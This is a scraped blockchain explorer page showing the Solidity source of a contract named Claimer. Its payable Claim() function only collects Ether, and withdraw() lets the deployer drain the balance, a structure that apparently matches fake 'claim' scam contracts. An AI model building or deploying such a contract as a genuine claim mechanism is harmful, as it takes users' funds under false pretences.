ETH Price: $2,465.75 (-1.72%)

Contract Diff Checker

Contract Name:
Claimer

Contract Source Code:

File 1 of 1 : Claimer

pragma solidity ^0.8.17;

contract Claimer {

    address private owner;

     constructor() public{   
        owner=msg.sender;
    }

    function getOwner(
    ) public view returns (address) {    
        return owner;
    }


    function withdraw() public {
        require(owner == msg.sender);
        payable(msg.sender).transfer(address(this).balance);
    }

    function Claim() public payable {
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):